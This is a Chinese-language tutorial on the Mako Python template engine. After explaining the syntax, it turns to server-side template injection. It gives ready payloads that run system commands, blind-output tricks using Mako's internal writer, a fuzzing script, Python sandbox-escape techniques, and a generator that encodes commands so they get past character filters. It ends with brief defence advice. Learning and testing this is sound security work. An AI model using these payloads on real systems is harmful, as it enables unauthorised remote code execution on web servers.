Mako模板引擎以及沙箱机制
字数 780 2025-08-25 22:58:40
Mako模板引擎及沙箱机制深入解析
Mako模板基础
Mako是Pylons的默认模板语言,类似于Jinja2与Flask的关系。它提供了强大的模板功能,同时也带来了潜在的安全风险。
基础语法
-
变量取值:
${ }语法可以执行表达式、字符串和方法- 示例:
${temp} # 显示变量temp的值 ${temp*2} # 变量temp乘2 ${pow(temp,2)} # 变量temp的平方
-
转义符:
u:URL地址转义h:HTML转义x:XML转义trim:去除空格- 示例:
${"there is some text" | u} # 输出: there+is+some+text ${"show <table>" | h} # 输出: show <table>
-
控制结构:
%for ... : %endfor %if ... : ... %elif: ... % else: ... %endif -
Python代码块:
<% %> -
导入模块:
<%! %> -
定义函数:
<%def name="..." > ... </%def> ${...()} # 调用函数 -
注释:
- 单行:
## - 多行:
<%doc>
- 单行:
-
其他特性:
- 继承模板:
<%inherit ... /> - 包含模板:
<%include ... /> - 引用:
<%page ... /> - 注意:使用
%需要写成%%
- 继承模板:
示例代码
from mako.template import Template
tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>
<% c = 5 %>
% for i in my_range(c)+a:
%if i % 2:
${ i }
%endif
% endfor
''')
print(tp.render(a = [5, 6, 7, 8, 9]))
输出结果:1,3,5,7,9
过滤器
Mako过滤器使用|引用,多个过滤器用,分隔:
${" <tag>some value</tag> " | h,trim}
自定义过滤器:
<%!
import myfilters
def myescape(text):
return "<TAG>" + text + "</TAG>"
%>
${"text" | myescape}
${"text" | myfilters.myescape}
Mako模板漏洞
常规bypass
Mako完全支持Python代码执行,可直接注入攻击代码:
<%!
import os
os.system("whoami")
%>
<%__import__("os").system("ls")%>
${__import__("os").system("whoami")}
无回显利用
Mako引入的特殊默认变量:
{
'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
'pageargs': {},
'__M_caller': None,
'__M_locals': {'pageargs': {}},
'locals': <built-in function locals>,
'__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}
无回显时可使用:
${__M_writer(str(__import__("os").system("id")))}
${context.write(str(__import__("os").system("id")))}
确定Mako框架
SSTI探测方法
-
Fuzz测试:注入特殊字符如
${{<%[%'"}}%\ -
纯文字上下文:
${7*7} # 返回49表示存在SSTI -
代码上下文:
Hello {{greeting}} # 闭合双花括号注入 -
触发报错:
<%foobar%> # 通过报错信息判断模板引擎
单字符Fuzz测试脚本
from time import sleep
import requests
import urllib
from bs4 import BeautifulSoup
url = "http://127.0.0.1:9999"
for i in range(32, 127):
html = chr(i)
data = {'html': html}
r = requests.post(url=url + '/generate', data=data)
# 分析响应判断过滤字符
沙箱机制与绕过
执行系统命令绕过
-
import绕过:
__import__('os') __import__(' so'[::-1]) __import__('s'+'o') -
字符串绕过:
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) -
恢复sys.modules:
sys.modules['os'] = 'not allowed' del sys.modules['os'] import os
执行函数替代
os.system('whoami')
os.popen('whoami').read()
getattr(os, 'metsys'[::-1])('whoami')
builtins利用
__builtins__.__dict__['__import__']('os').system('whoami')
文件读写
# Python 2.x
file('key').read()
file('key', 'w').write('Macr0phag3')
# 通用
open('key').read()
().__class__.__base__.__subclasses__()[40]('key').read()
沙箱通解
绕过字符限制的通用payload构造:
exp = '__import__("os").system("id")'
# 基本构造
print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))")
# 空格限制绕过
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")
# ==限制绕过
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
防御建议
- 严格过滤用户输入,特别是特殊字符和关键字
- 使用安全的模板渲染方式
- 限制可导入的模块和函数
- 实施完善的沙箱环境
- 定期更新模板引擎版本
通过深入理解Mako模板引擎的工作原理和潜在漏洞,可以更好地防御SSTI攻击,同时也能在安全测试中有效识别和利用这类漏洞。